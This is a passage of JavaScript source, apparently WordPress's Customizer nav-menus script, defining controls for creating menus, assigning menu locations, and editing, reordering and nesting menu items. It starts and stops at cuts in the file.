					setting.bind( updateNoticeVisibility );
					updateNoticeVisibility();
				}
			}

			/**
			 * Handle setting removal.
			 *
			 * @since 4.9.0
			 * @param {wp.customize.Setting} setting - Removed setting.
			 * @return {void}
			 */
			function removeChangeEventListener( setting ) {
				if ( navMenuSettingPattern.test( setting.id ) ) {
					setting.unbind( updateNoticeVisibility );
					updateNoticeVisibility();
				}
			}

			api.each( addChangeEventListener );
			api.bind( 'add', addChangeEventListener );
			api.bind( 'removed', removeChangeEventListener );
			updateNoticeVisibility();

			api.Section.prototype.attachEvents.apply( section, arguments );
		},

		/**
		 * Set up the control.
		 *
		 * @since 4.9.0
		 */
		ready: function() {
			this.populateControls();
		},

		/**
		 * Create the controls for this section.
		 *
		 * @since 4.9.0
		 */
		populateControls: function() {
			var section = this,
				menuNameControlId,
				menuLocationsControlId,
				newMenuSubmitControlId,
				menuNameControl,
				menuLocationsControl,
				newMenuSubmitControl;

			menuNameControlId = section.id + '[name]';
			menuNameControl = api.control( menuNameControlId );
			if ( ! menuNameControl ) {
				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
					label: api.Menus.data.l10n.menuNameLabel,
					description: api.Menus.data.l10n.newMenuNameDescription,
					section: section.id,
					priority: 0
				} );
				api.control.add( menuNameControl.id, menuNameControl );
				menuNameControl.active.set( true );
			}

			menuLocationsControlId = section.id + '[locations]';
			menuLocationsControl = api.control( menuLocationsControlId );
			if ( ! menuLocationsControl ) {
				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
					section: section.id,
					priority: 1,
					menu_id: '',
					isCreating: true
				} );
				api.control.add( menuLocationsControlId, menuLocationsControl );
				menuLocationsControl.active.set( true );
			}

			newMenuSubmitControlId = section.id + '[submit]';
			newMenuSubmitControl = api.control( newMenuSubmitControlId );
			if ( !newMenuSubmitControl ) {
				newMenuSubmitControl = new api.Control( newMenuSubmitControlId, {
					section: section.id,
					priority: 1,
					templateId: 'nav-menu-submit-new-button'
				} );
				api.control.add( newMenuSubmitControlId, newMenuSubmitControl );
				newMenuSubmitControl.active.set( true );
			}
		},

		/**
		 * Create the new menu with name and location supplied by the user.
		 *
		 * @since 4.9.0
		 */
		submit: function() {
			var section = this,
				contentContainer = section.contentContainer,
				nameInput = contentContainer.find( '.menu-name-field' ).first(),
				name = nameInput.val(),
				menuSection;

			if ( ! name ) {
				nameInput.addClass( 'invalid' );
				nameInput.focus();
				return;
			}

			menuSection = api.Menus.createNavMenu( name );

			// Clear name field.
			nameInput.val( '' );
			nameInput.removeClass( 'invalid' );

			contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() {
				var checkbox = $( this ),
				navMenuLocationSetting;

				if ( checkbox.prop( 'checked' ) ) {
					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' );
					navMenuLocationSetting.set( menuSection.params.menu_id );

					// Reset state for next new menu.
					checkbox.prop( 'checked', false );
				}
			} );

			wp.a11y.speak( api.Menus.data.l10n.menuAdded );

			// Focus on the new menu section.
			menuSection.focus( {
				completeCallback: function() {
					menuSection.highlightNewItemButton();
				}
			} );
		},

		/**
		 * Select a default location.
		 *
		 * This method selects a single location by default so we can support
		 * creating a menu for a specific menu location.
		 *
		 * @since 4.9.0
		 *
		 * @param {string|null} locationId - The ID of the location to select. `null` clears all selections.
		 * @return {void}
		 */
		selectDefaultLocation: function( locationId ) {
			var locationControl = api.control( this.id + '[locations]' ),
				locationSelections = {};

			if ( locationId !== null ) {
				locationSelections[ locationId ] = true;
			}

			locationControl.setSelections( locationSelections );
		}
	});

	/**
	 * wp.customize.Menus.MenuLocationControl
	 *
	 * Customizer control for menu locations (rendered as a <select>).
	 * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type.
	 *
	 * @class    wp.customize.Menus.MenuLocationControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{
		initialize: function( id, options ) {
			var control = this,
				matches = id.match( /^nav_menu_locations\[(.+?)]/ );
			control.themeLocation = matches[1];
			api.Control.prototype.initialize.call( control, id, options );
		},

		ready: function() {
			var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/;

			// @todo It would be better if this was added directly on the setting itself, as opposed to the control.
			control.setting.validate = function( value ) {
				if ( '' === value ) {
					return 0;
				} else {
					return parseInt( value, 10 );
				}
			};

			// Create and Edit menu buttons.
			control.container.find( '.create-menu' ).on( 'click', function() {
				var addMenuSection = api.section( 'add_menu' );
				addMenuSection.selectDefaultLocation( this.dataset.locationId );
				addMenuSection.focus();
			} );
			control.container.find( '.edit-menu' ).on( 'click', function() {
				var menuId = control.setting();
				api.section( 'nav_menu[' + menuId + ']' ).focus();
			});
			control.setting.bind( 'change', function() {
				var menuIsSelected = 0 !== control.setting();
				control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected );
				control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected );
			});

			// Add/remove menus from the available options when they are added and removed.
			api.bind( 'add', function( setting ) {
				var option, menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches || false === setting() ) {
					return;
				}
				menuId = matches[1];
				option = new Option( displayNavMenuName( setting().name ), menuId );
				control.container.find( 'select' ).append( option );
			});
			api.bind( 'remove', function( setting ) {
				var menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches ) {
					return;
				}
				menuId = parseInt( matches[1], 10 );
				if ( control.setting() === menuId ) {
					control.setting.set( '' );
				}
				control.container.find( 'option[value=' + menuId + ']' ).remove();
			});
			api.bind( 'change', function( setting ) {
				var menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches ) {
					return;
				}
				menuId = parseInt( matches[1], 10 );
				if ( false === setting() ) {
					if ( control.setting() === menuId ) {
						control.setting.set( '' );
					}
					control.container.find( 'option[value=' + menuId + ']' ).remove();
				} else {
					control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) );
				}
			});
		}
	});

	api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{

		/**
		 * wp.customize.Menus.MenuItemControl
		 *
		 * Customizer control for menu items.
		 * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type.
		 *
		 * @constructs wp.customize.Menus.MenuItemControl
		 * @augments   wp.customize.Control
		 *
		 * @inheritDoc
		 */
		initialize: function( id, options ) {
			var control = this;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			api.Control.prototype.initialize.call( control, id, options );
			control.active.validate = function() {
				var value, section = api.section( control.section() );
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};
		},

		/**
		 * Override the embed() method to do nothing,
		 * so that the control isn't embedded on load,
		 * unless the containing section is already expanded.
		 *
		 * @since 4.3.0
		 */
		embed: function() {
			var control = this,
				sectionId = control.section(),
				section;
			if ( ! sectionId ) {
				return;
			}
			section = api.section( sectionId );
			if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) {
				control.actuallyEmbed();
			}
		},

		/**
		 * This function is called in Section.onChangeExpanded() so the control
		 * will only get embedded when the Section is first expanded.
		 *
		 * @since 4.3.0
		 */
		actuallyEmbed: function() {
			var control = this;
			if ( 'resolved' === control.deferred.embedded.state() ) {
				return;
			}
			control.renderContent();
			control.deferred.embedded.resolve(); // This triggers control.ready().
		},

		/**
		 * Set up the control.
		 */
		ready: function() {
			if ( 'undefined' === typeof this.params.menu_item_id ) {
				throw new Error( 'params.menu_item_id was not defined' );
			}

			this._setupControlToggle();
			this._setupReorderUI();
			this._setupUpdateUI();
			this._setupRemoveUI();
			this._setupLinksUI();
			this._setupTitleUI();
		},

		/**
		 * Show/hide the settings when clicking on the menu item handle.
		 */
		_setupControlToggle: function() {
			var control = this;

			this.container.find( '.menu-item-handle' ).on( 'click', function( e ) {
				e.preventDefault();
				e.stopPropagation();
				var menuControl = control.getMenuControl(),
					isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );

				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
					api.Menus.availableMenuItemsPanel.close();
				}

				if ( menuControl.isReordering || menuControl.isSorting ) {
					return;
				}
				control.toggleForm();
			} );
		},

		/**
		 * Set up the menu-item-reorder-nav
		 */
		_setupReorderUI: function() {
			var control = this, template, $reorderNav;

			template = wp.template( 'menu-item-reorder-nav' );

			// Add the menu item reordering elements to the menu item control.
			control.container.find( '.item-controls' ).after( template );

			// Handle clicks for up/down/left-right on the reorder nav.
			$reorderNav = control.container.find( '.menu-item-reorder-nav' );
			$reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() {
				var moveBtn = $( this );
				control.params.depth = control.getDepth();

				moveBtn.focus();

				var isMoveUp = moveBtn.is( '.menus-move-up' ),
					isMoveDown = moveBtn.is( '.menus-move-down' ),
					isMoveLeft = moveBtn.is( '.menus-move-left' ),
					isMoveRight = moveBtn.is( '.menus-move-right' );

				if ( isMoveUp ) {
					control.moveUp();
				} else if ( isMoveDown ) {
					control.moveDown();
				} else if ( isMoveLeft ) {
					control.moveLeft();
					if ( 1 === control.params.depth ) {
						control.container.find( '.is-submenu' ).hide();
					} else {
						control.container.find( '.is-submenu' ).show();
					}
				} else if ( isMoveRight ) {
					control.moveRight();
					control.params.depth += 1;
					if ( 0 === control.params.depth ) {
						control.container.find( '.is-submenu' ).hide();
					} else {
						control.container.find( '.is-submenu' ).show();
					}
				}

				moveBtn.focus(); // Re-focus after the container was moved.
			} );
		},

		/**
		 * Set up event handlers for menu item updating.
		 */
		_setupUpdateUI: function() {
			var control = this,
				settingValue = control.setting(),
				updateNotifications;

			control.elements = {};
			control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) );
			control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) );
			control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) );
			control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) );
			control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) );
			control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) );
			control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) );
			// @todo Allow other elements, added by plugins, to be automatically picked up here;
			// allow additional values to be added to setting array.

			_.each( control.elements, function( element, property ) {
				element.bind(function( value ) {
					if ( element.element.is( 'input[type=checkbox]' ) ) {
						value = ( value ) ? element.element.val() : '';
					}

					var settingValue = control.setting();
					if ( settingValue && settingValue[ property ] !== value ) {
						settingValue = _.clone( settingValue );
						settingValue[ property ] = value;
						control.setting.set( settingValue );
					}
				});
				if ( settingValue ) {
					if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) {
						element.set( settingValue[ property ].join( ' ' ) );
					} else {
						element.set( settingValue[ property ] );
					}
				}
			});

			control.setting.bind(function( to, from ) {
				var itemId = control.params.menu_item_id,
					followingSiblingItemControls = [],
					childrenItemControls = [],
					menuControl;

				if ( false === to ) {
					menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' );
					control.container.remove();

					_.each( menuControl.getMenuItemControls(), function( otherControl ) {
						if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) {
							followingSiblingItemControls.push( otherControl );
						} else if ( otherControl.setting().menu_item_parent === itemId ) {
							childrenItemControls.push( otherControl );
						}
					});

					// Shift all following siblings by the number of children this item has.
					_.each( followingSiblingItemControls, function( followingSiblingItemControl ) {
						var value = _.clone( followingSiblingItemControl.setting() );
						value.position += childrenItemControls.length;
						followingSiblingItemControl.setting.set( value );
					});

					// Now move the children up to be the new subsequent siblings.
					_.each( childrenItemControls, function( childrenItemControl, i ) {
						var value = _.clone( childrenItemControl.setting() );
						value.position = from.position + i;
						value.menu_item_parent = from.menu_item_parent;
						childrenItemControl.setting.set( value );
					});

					menuControl.debouncedReflowMenuItems();
				} else {
					// Update the elements' values to match the new setting properties.
					_.each( to, function( value, key ) {
						if ( control.elements[ key] ) {
							control.elements[ key ].set( to[ key ] );
						}
					} );
					control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent );

					// Handle UI updates when the position or depth (parent) change.
					if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) {
						control.getMenuControl().debouncedReflowMenuItems();
					}
				}
			});

			// Style the URL field as invalid when there is an invalid_url notification.
			updateNotifications = function() {
				control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) );
			};
			control.setting.notifications.bind( 'add', updateNotifications );
			control.setting.notifications.bind( 'removed', updateNotifications );
		},

		/**
		 * Set up event handlers for menu item deletion.
		 */
		_setupRemoveUI: function() {
			var control = this, $removeBtn;

			// Configure delete button.
			$removeBtn = control.container.find( '.item-delete' );

			$removeBtn.on( 'click', function() {
				// Find an adjacent element to add focus to when this menu item goes away.
				var addingItems = true, $adjacentFocusTarget, $next, $prev,
					instanceCounter = 0, // Instance count of the menu item deleted.
					deleteItemOriginalItemId = control.params.original_item_id,
					addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ),
					availableMenuItem;

				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
					addingItems = false;
				}

				$next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first();
				$prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first();

				if ( $next.length ) {
					$adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
				} else if ( $prev.length ) {
					$adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
				} else {
					$adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first();
				}

				/*
				 * If the menu item deleted is the only of its instance left,
				 * remove the check icon of this menu item in the right panel.
				 */
				_.each( addedItems, function( addedItem ) {
					var menuItemId, menuItemControl, matches;

					// This is because menu item that's deleted is just hidden.
					if ( ! $( addedItem ).is( ':visible' ) ) {
						return;
					}

					matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
					if ( ! matches ) {
						return;
					}

					menuItemId      = parseInt( matches[1], 10 );
					menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );

					// Check for duplicate menu items.
					if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) {
						instanceCounter++;
					}
				} );

				if ( instanceCounter <= 1 ) {
					// Revert the check icon to add icon.
					availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id );
					availableMenuItem.removeClass( 'selected' );
					availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' );
				}

				control.container.slideUp( function() {
					control.setting.set( false );
					wp.a11y.speak( api.Menus.data.l10n.itemDeleted );
					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );

				control.setting.set( false );
			} );
		},

		_setupLinksUI: function() {
			var $origBtn;

			// Configure original link.
			$origBtn = this.container.find( 'a.original-link' );

			$origBtn.on( 'click', function( e ) {
				e.preventDefault();
				api.previewer.previewUrl( e.target.toString() );
			} );
		},

		/**
		 * Update item handle title when changed.
		 */
		_setupTitleUI: function() {
			var control = this, titleEl;

			// Ensure that whitespace is trimmed on blur so placeholder can be shown.
			control.container.find( '.edit-menu-item-title' ).on( 'blur', function() {
				$( this ).val( $( this ).val().trim() );
			} );

			titleEl = control.container.find( '.menu-item-title' );
			control.setting.bind( function( item ) {
				var trimmedTitle, titleText;
				if ( ! item ) {
					return;
				}
				item.title = item.title || '';
				trimmedTitle = item.title.trim();

				titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled;

				if ( item._invalid ) {
					titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText );
				}

				// Don't update to an empty title.
				if ( trimmedTitle || item.original_title ) {
					titleEl
						.text( titleText )
						.removeClass( 'no-title' );
				} else {
					titleEl
						.text( titleText )
						.addClass( 'no-title' );
				}
			} );
		},

		/**
		 *
		 * @return {number}
		 */
		getDepth: function() {
			var control = this, setting = control.setting(), depth = 0;
			if ( ! setting ) {
				return 0;
			}
			while ( setting && setting.menu_item_parent ) {
				depth += 1;
				control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' );
				if ( ! control ) {
					break;
				}
				setting = control.setting();
			}
			return depth;
		},

		/**
		 * Amend the control's params with the data necessary for the JS template just in time.
		 */
		renderContent: function() {
			var control = this,
				settingValue = control.setting(),
				containerClasses;

			control.params.title = settingValue.title || '';
			control.params.depth = control.getDepth();
			control.container.data( 'item-depth', control.params.depth );
			containerClasses = [
				'menu-item',
				'menu-item-depth-' + String( control.params.depth ),
				'menu-item-' + settingValue.object,
				'menu-item-edit-inactive'
			];

			if ( settingValue._invalid ) {
				containerClasses.push( 'menu-item-invalid' );
				control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title );
			} else if ( 'draft' === settingValue.status ) {
				containerClasses.push( 'pending' );
				control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title );
			}

			control.params.el_classes = containerClasses.join( ' ' );
			control.params.item_type_label = settingValue.type_label;
			control.params.item_type = settingValue.type;
			control.params.url = settingValue.url;
			control.params.target = settingValue.target;
			control.params.attr_title = settingValue.attr_title;
			control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes;
			control.params.xfn = settingValue.xfn;
			control.params.description = settingValue.description;
			control.params.parent = settingValue.menu_item_parent;
			control.params.original_title = settingValue.original_title || '';

			control.container.addClass( control.params.el_classes );

			api.Control.prototype.renderContent.call( control );
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.nav_menu|null}
		 */
		getMenuControl: function() {
			var control = this, settingValue = control.setting();
			if ( settingValue && settingValue.nav_menu_term_id ) {
				return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' );
			} else {
				return null;
			}
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			var $section = this.container.closest( '.accordion-section' );
			if ( ! $section.hasClass( 'open' ) ) {
				$section.find( '.accordion-section-title:first' ).trigger( 'click' );
			}
		},

		/**
		 * @since 4.6.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.6.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
		expand: api.Section.prototype.expand,

		/**
		 * Expand the menu item form control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		expandForm: function( params ) {
			this.expand( params );
		},

		/**
		 * @since 4.6.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the menu item form control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		collapseForm: function( params ) {
			this.collapse( params );
		},

		/**
		 * Expand or collapse the menu item control.
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		toggleForm: function( showOrHide, params ) {
			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! this.expanded();
			}
			if ( showOrHide ) {
				this.expand( params );
			} else {
				this.collapse( params );
			}
		},

		/**
		 * Expand or collapse the menu item control.
		 *
		 * @since 4.6.0
		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
		 * @param {Object}   [params] - Optional params.
		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
		 */
		onChangeExpanded: function( showOrHide, params ) {
			var self = this, $menuitem, $inside, complete;

			$menuitem = this.container;
			$inside = $menuitem.find( '.menu-item-settings:first' );
			if ( 'undefined' === typeof showOrHide ) {
				showOrHide = ! $inside.is( ':visible' );
			}

			// Already expanded or collapsed.
			if ( $inside.is( ':visible' ) === showOrHide ) {
				if ( params && params.completeCallback ) {
					params.completeCallback();
				}
				return;
			}

			if ( showOrHide ) {
				// Close all other menu item controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
						otherControl.collapseForm();
					}
				} );

				complete = function() {
					$menuitem
						.removeClass( 'menu-item-edit-inactive' )
						.addClass( 'menu-item-edit-active' );
					self.container.trigger( 'expanded' );

					if ( params && params.completeCallback ) {
						params.completeCallback();
					}
				};

				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' );
				$inside.slideDown( 'fast', complete );

				self.container.trigger( 'expand' );
			} else {
				complete = function() {
					$menuitem
						.addClass( 'menu-item-edit-inactive' )
						.removeClass( 'menu-item-edit-active' );
					self.container.trigger( 'collapsed' );

					if ( params && params.completeCallback ) {
						params.completeCallback();
					}
				};

				self.container.trigger( 'collapse' );

				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' );
				$inside.slideUp( 'fast', complete );
			}
		},

		/**
		 * Expand the containing menu section, expand the form, and focus on
		 * the first input in the control.
		 *
		 * @since 4.5.0 Added params.completeCallback.
		 *
		 * @param {Object}   [params] - Params object.
		 * @param {Function} [params.completeCallback] - Optional callback function when focus has completed.
		 */
		focus: function( params ) {
			params = params || {};
			var control = this, originalCompleteCallback = params.completeCallback, focusControl;

			focusControl = function() {
				control.expandControlSection();

				params.completeCallback = function() {
					var focusable;

					// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
					focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' );
					focusable.first().focus();

					if ( originalCompleteCallback ) {
						originalCompleteCallback();
					}
				};

				control.expandForm( params );
			};

			if ( api.section.has( control.section() ) ) {
				api.section( control.section() ).expand( {
					completeCallback: focusControl
				} );
			} else {
				focusControl();
			}
		},

		/**
		 * Move menu item up one in the menu.
		 */
		moveUp: function() {
			this._changePosition( -1 );
			wp.a11y.speak( api.Menus.data.l10n.movedUp );
		},

		/**
		 * Move menu item up one in the menu.
		 */
		moveDown: function() {
			this._changePosition( 1 );
			wp.a11y.speak( api.Menus.data.l10n.movedDown );
		},
		/**
		 * Move menu item and all children up one level of depth.
		 */
		moveLeft: function() {
			this._changeDepth( -1 );
			wp.a11y.speak( api.Menus.data.l10n.movedLeft );
		},

		/**
		 * Move menu item and children one level deeper, as a submenu of the previous item.
		 */
		moveRight: function() {
			this._changeDepth( 1 );
			wp.a11y.speak( api.Menus.data.l10n.movedRight );
		},

		/**
		 * Note that this will trigger a UI update, causing child items to
		 * move as well and cardinal order class names to be updated.
		 *
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_changePosition: function( offset ) {
			var control = this,
				adjacentSetting,
				settingValue = _.clone( control.setting() ),
				siblingSettings = [],
				realPosition;

			if ( 1 !== offset && -1 !== offset ) {
				throw new Error( 'Offset changes by 1 are only supported.' );
			}

			// Skip moving deleted items.
			if ( ! control.setting() ) {
				return;
			}

			// Locate the other items under the same parent (siblings).
			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
					siblingSettings.push( otherControl.setting );
				}
			});
			siblingSettings.sort(function( a, b ) {
				return a().position - b().position;
			});

			realPosition = _.indexOf( siblingSettings, control.setting );
			if ( -1 === realPosition ) {
				throw new Error( 'Expected setting to be among siblings.' );
			}

			// Skip doing anything if the item is already at the edge in the desired direction.
			if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) {
				// @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent?
				return;
			}

			// Update any adjacent menu item setting to take on this item's position.
			adjacentSetting = siblingSettings[ realPosition + offset ];
			if ( adjacentSetting ) {
				adjacentSetting.set( $.extend(
					_.clone( adjacentSetting() ),
					{
						position: settingValue.position
					}
				) );
			}

			settingValue.position += offset;
			control.setting.set( settingValue );
		},

		/**
		 * Note that this will trigger a UI update, causing child items to
		 * move as well and cardinal order class names to be updated.
		 *
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_changeDepth: function( offset ) {
			if ( 1 !== offset && -1 !== offset ) {
				throw new Error( 'Offset changes by 1 are only supported.' );
			}
			var control = this,
				settingValue = _.clone( control.setting() ),
				siblingControls = [],
				realPosition,
				siblingControl,
				parentControl;

			// Locate the other items under the same parent (siblings).
			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
					siblingControls.push( otherControl );
				}
			});
			siblingControls.sort(function( a, b ) {
				return a.setting().position - b.setting().position;
			});

			realPosition = _.indexOf( siblingControls, control );
			if ( -1 === realPosition ) {
				throw new Error( 'Expected control to be among siblings.' );
			}

			if ( -1 === offset ) {
				// Skip moving left an item that is already at the top level.
				if ( ! settingValue.menu_item_parent ) {
					return;
				}

				parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' );

				// Make this control the parent of all the following siblings.
				_( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) {
					siblingControl.setting.set(
						$.extend(
							{},
							siblingControl.setting(),
							{
								menu_item_parent: control.params.menu_item_id,
								position: i
							}
						)
					);
				});

				// Increase the positions of the parent item's subsequent children to make room for this one.
				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
					var otherControlSettingValue, isControlToBeShifted;
					isControlToBeShifted = (
						otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent &&
						otherControl.setting().position > parentControl.setting().position
					);
					if ( isControlToBeShifted ) {
						otherControlSettingValue = _.clone( otherControl.setting() );
						otherControl.setting.set(
							$.extend(
								otherControlSettingValue,
								{ position: otherControlSettingValue.position + 1 }
							)
						);
					}
				});

				// Make this control the following sibling of its parent item.
				settingValue.position = parentControl.setting().position + 1;
				settingValue.menu_item_parent = parentControl.setting().menu_item_parent;
				control.setting.set( settingValue );

			} else if ( 1 === offset ) {
				// Skip moving right an item that doesn't have a previous sibling.
				if ( realPosition === 0 ) {
					return;
				}

				// Make the control the last child of the previous sibling.
				siblingControl = siblingControls[ realPosition - 1 ];
				settingValue.menu_item_parent = siblingControl.params.menu_item_id;
				settingValue.position = 0;
				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
					if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
						settingValue.position = Math.max( settingValue.position, otherControl.setting().position );
					}
				});
				settingValue.position += 1;
				control.setting.set( settingValue );
			}
		}
	} );

	/**
	 * wp.customize.Menus.MenuNameControl
	 *
	 * Customizer control for a nav menu's name.
	 *
	 * @class    wp.customize.Menus.MenuNameControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{

		ready: function() {
			var control = this;

			if ( control.setting ) {
				var settingValue = control.setting();

				control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) );

				control.nameElement.bind(function( value ) {
					var settingValue = control.setting();
					if ( settingValue && settingValue.name !== value ) {
						settingValue = _.clone( settingValue );
						settingValue.name = value;
						control.setting.set( settingValue );
					}
				});
				if ( settingValue ) {
					control.nameElement.set( settingValue.name );
				}

				control.setting.bind(function( object ) {
					if ( object ) {
						control.nameElement.set( object.name );
					}
				});
			}
		}
	});

	/**
	 * wp.customize.Menus.MenuLocationsControl
	 *
	 * Customizer control for a nav menu's locations.
	 *
	 * @since 4.9.0
	 * @class    wp.customize.Menus.MenuLocationsControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{

		/**
		 * Set up the control.
		 *
		 * @since 4.9.0
		 */
		ready: function () {
			var control = this;

			control.container.find( '.assigned-menu-location' ).each(function() {
				var container = $( this ),
					checkbox = container.find( 'input[type=checkbox]' ),
					element = new api.Element( checkbox ),
					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ),
					isNewMenu = control.params.menu_id === '',
					updateCheckbox = isNewMenu ? _.noop : function( checked ) {
						element.set( checked );
					},
					updateSetting = isNewMenu ? _.noop : function( checked ) {
						navMenuLocationSetting.set( checked ? control.params.menu_id : 0 );
					},
					updateSelectedMenuLabel = function( selectedMenuId ) {
						var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' );
						if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) {
							container.find( '.theme-location-set' ).hide();
						} else {
							container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) );
						}
					};

				updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id );

				checkbox.on( 'change', function() {
					// Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well.
					updateSetting( this.checked );
				} );

